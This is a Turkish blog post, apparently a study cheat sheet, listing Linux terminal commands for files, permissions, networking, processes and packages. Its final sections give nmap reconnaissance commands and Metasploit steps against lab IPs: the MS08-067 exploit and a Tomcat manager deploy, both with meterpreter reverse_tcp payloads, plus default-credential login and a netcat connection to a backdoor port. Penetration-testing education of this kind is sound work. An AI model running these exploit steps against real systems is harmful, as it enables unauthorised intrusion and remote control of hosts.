5 Mayıs 2016 Perşembe

Linux Terminal Komutları

Linux Terminal Komutları

Kabuk

  • Kullanıcının işletim sistemiyle iletişimini sağlayan yorumlayıcıdır.
  • Verilen komutları işletim sistemine, komutların çıktılarını da kullanıcıya iletir.
  • Birçok uygulaması vardır. Bash, sh, zsh en çok bilinenleridir.

Komutlar

  • pwd: bulunulan dizini ekrana basar.
pwd
  • man: komut hakkında detaylı bilgi almak için kullanılır.
man pwd
man grep
  • mkdir: yeni bir dizin oluşturmak için kullanılır.
mkdir deneme_dizin
mkdir -p deneme_dizin_diger/alt_dizin
mkdir -p deneme_dizin_deger/{0..9}
  • touch: yeni bir dosya oluşturur.
touch deneme_dosya_diger
touch deneme_dizin_x/{A..Z}
  • rm: dosya veya klasör siler.
rm deneme_dosya
rm -r deneme_dizin/
rm -rf deneme_dizin/
  • cp: dosya veya klasör kopyalama için kullanılır.
cp deneme_dosya deneme_dosya3
cp deneme_dizin deneme_dizin2 -r
  • mv: dosya veya klasörleri taşımak için kullanılır.
mv deneme_dosya deneme_dosya3
  • find: gelişmiş arama aracıdır.
find . -name "*.txt"
  • cd: dizin değiştirmek için kullanılır.
cd ..
cd
cd deneme/
  • ls: dosya ve dizinleri listeleyip, özelliklerini görüntüler.
ls -a
ls -l
ls -r
  • cat: dosya içeriğini görüntüler.
cat deneme_dosya
  • echo: ifadeleri ekrana basar.
echo "deneme"
echo $HOME
  • moreless: içeriği fazla olan, ekrana sığmayan dosyaları görüntüler.
more deneme_dosya
less deneme_dosya
  • head: bir dosyanın baştan itibaren istenilen sayıda satırını ekrana basar.
head deneme_dosya
head -1 deneme_dosya
  • tail: head gibi çalışır ancak sondan itibaren ekrana basar.
tail deneme_dosya
tail -1 deneme_dosya
tail -f deneme_dosya
  • grep: metin dosyaları içerisinde belirli değerleri aramak için kullanılır.
grep "kelime" deneme_dosya
grep "kelime" . -R
grep "Kelime" deneme_dosya -i
  • uname: sistem bilgilerini görüntüler.
uname
uname -a
  • chown: dosya veya klasörlerin sahibi ve grubunu değiştirir.
chown halit:users deneme_dosya
chown -R halit:users deneme_dizin/
  • service: servislerin yönetilmesi için kullanılır.
service apache2 start
service apache2 status
  • mount: diskleri sisteme bağlar.
mount
mount /dev/sdb1 mnt

Çıktı Yönlendirme

  • Komutların çıktıları dosyalara yönlendirilebileceği gibi, dosya içerikleri de komutlara yönlendirilebilir.
  • Doğrudan bir çıktı > işareti ile yönlendirilir. Yönlendirildiği yerdeki diğer içeriği siler.
  • Aynı işlem >> işareti ile yapılsaydı, içeriğin sonuna ekleme yapılacaktı.
  • Komutlara girdi vermek için < işareti kullanılır.
  • Bir komutun çıktısını diğer komuta vermek için | kullanılır.
echo "deneme2" > deneme_dosya
echo "deneme3" >> deneme_dosya
cut -d ":" -f1 < /etc/passwd
cat /etc/passwd | cut -d ":" -f1
cat /etc/passwd | cut -d ":" -f1 | grep root

Dosya Sistemi

  • /bin: Kullanıcı ve sistem yöneticisine ait çalıştırılabilir dosyaları barındırır.
  • /dev: Donanımlara erişebilmek için gerekli dosyaları barındırır.
  • /etc: Sistem konfigürasyonları için gerekli dosyaları barındırır.
  • /lib: Sistem kütüphanelerini barındırır.
  • /sbin: Sistem yöneticisine ait çalıştırılabilir dosyaları barındırır.
  • /home: Kullanıcılara ait dizindir.
  • /mnt: Sisteme dışarıdan bağlanacak olan donanım aygıtlarının, bağlantı noktalarını belirten dizindir.
  • /root: Bir sistemde en yetkili kullanıcı olan "root" kullanıcısına ait dizindir.
  • /tmp: Geçici dosyaların yer aldığı dizindir.
  • /usr: Paylaşılan dosyaların barındığı dizindir. Burada çalışabilen dosyalar bulunmakla beraber, döküman ve programlara ait dosyalar da yer almaktadır.
  • /var: Sistem ve programlara ait log mesajları, email gibi mesajların bulunduğu dizindir.
  • /proc: Sistem hakkında gerekli bilgilerin bulunduğu sanal dizindir.
  • /boot: Linux Kernelini barındıran, sistem haritalarını ve ikinci seviye boot yükeleyicilerini barındıran dizin.
  • /opt: Add-on yazılımların bulunduğu alandır.

Dosya İzinleri

  • Her dosya ve klasörün hem sahibi hem de grubu vardır.
  • Bu izinler read(4), write(2), execute(1) olmaktadır.
  • İzinler verilirken sahip, gurup ve herkes olarak belirlenir.
chmod 777 deneme_dosya
chmod +x deneme_uygulama
chmod g+wx deneme_uygulama

Network Ayarları

  • ifconfig: mevcut ağ arayüzlerinin yönetimi için kullanılır.
  • dhclient: DHCP'den ip talebinde bulunur.
ifconfig
ifconfig eth0
ifconfig eth0 192.168.2.2 netmask 255.255.255.0
dhclient eth0

Kullanıcı Yönetimi

  • /etc/passwd: Kullanıcı bilgileri tutulur.
  • /etc/shadow: Kullanıcıların şifre özetleri tutulur.
useradd osman
cat /etc/passwd
userdel osman

Süreç Yönetimi

  • Çalışmakta olan her program süreç olarak adlandırılır.
  • Her sürecin kendine has bir PID numarası vardır.
ps
ps -aux
top
jobs -l
fg
bg
./uygulama &
kill -9 1139

 Paket Yönetimi

apt-get install paket
apt-cache search paket
apt-get update
apt-get upgrade
apt-get remove paket

 Kaynak Koddan Kurulum

./configure
make
make install

Sistem Bilgisi

lsblk
df -h
cat /proc/cpuinfo
cat /proc/meminfo
netstat
netstat -antl

Temel Network

Komutlar

  • Interface yönetimi
ip link
ifconfig
ifconfig eth0 192.168.10.12 netmask 255.255.255.0
  • IP talebi
dhclient eth0
dhcpd eth0
  • Arp tablosu içeriğini görüntelemek
arp -a
  • Statik arp kaydı girmek
arp -s 192.168.1.4 00-10-54-CA-E1-40
  • ICMP echo pakedi gönderme
ping 8.8.8.8
ping google.com
ping 8.8.8.8 -c 1
  • DNS sorguları
nano /etc/resolv.conf
dig a halit.ninja
dig aaaa 6.halit.ninja
dig txt question.halit.ninja
nslookup halit.ninja
nslookup halit.ninja 8.8.8.8
  • Netcat aracı ile HTTP isteği gönderme
nc halitalptekin.com 80

GET / HTTP/1.1
Host: halitalptekin.com
  • Curl aracı ile HTTP isteği gönderme
curl -v http://halitalptekin.com
  • Traceroute aracı ile paket takibi
traceroute google.com
  • Host aracı ile hostname öğrenme
host 8.8.8.8

Bilgi Toplama

Komutlar

nmap 10.0.3.7
nmap 10.0.3.7 -O
nmap -sV -p 80 10.0.3.7
nmap -sV -p 80 10.0.3.7 -v
nmap -sS 10.0.3.7 -p 1-100
nmap -sP 10.0.3.7
nmap -A 10.0.3.7
nmap -p- -n -v -T4 10.0.3.7
nmap -p- -n -v -T4 10.0.3.7 -sV
nmap -sA 10.0.3.7 -p 80
nmap -p- -n -v -T4 10.0.3.7 -oG results.txt
nmap --spoof-mac 10:10:10:10:10:10
nmap -D 10.3.3.3,10.3.3.4,10.3.3.5 10.0.3.7
nmap -p 445 -n -v -T4 -sV --script smb-enum-shares 10.0.3.6
nc 10.0.3.6 9999
netdiscover -r 10.0.3.0/24

Servis Saldırıları

Komutlar

msfconsole
db_rebuild_cache
search ms08
use exploit/windows/smb/ms08_067_netapi
show options
set rhost 10.0.3.6
set payload windows/meterpreter/reverse_tcp
set lhost 10.0.3.5
exploit
ls
pwd
getuid
screenshot
search tomcat
use auxiliary/scanner/http/tomcat_mgr_login
show options
set rhost 10.0.3.7
set rport 8180
use exploit/multi/http/tomcat_mgr_deploy
show options
set rhost 10.0.3.7
set rport 8180
set username tomcat
set password tomcat
set payload java/meterpreter/reverse_tcp
set lhost 10.0.3.5
nc 10.0.3.7 1524

Kaynaklar

Hiç yorum yok:

Yorum Gönder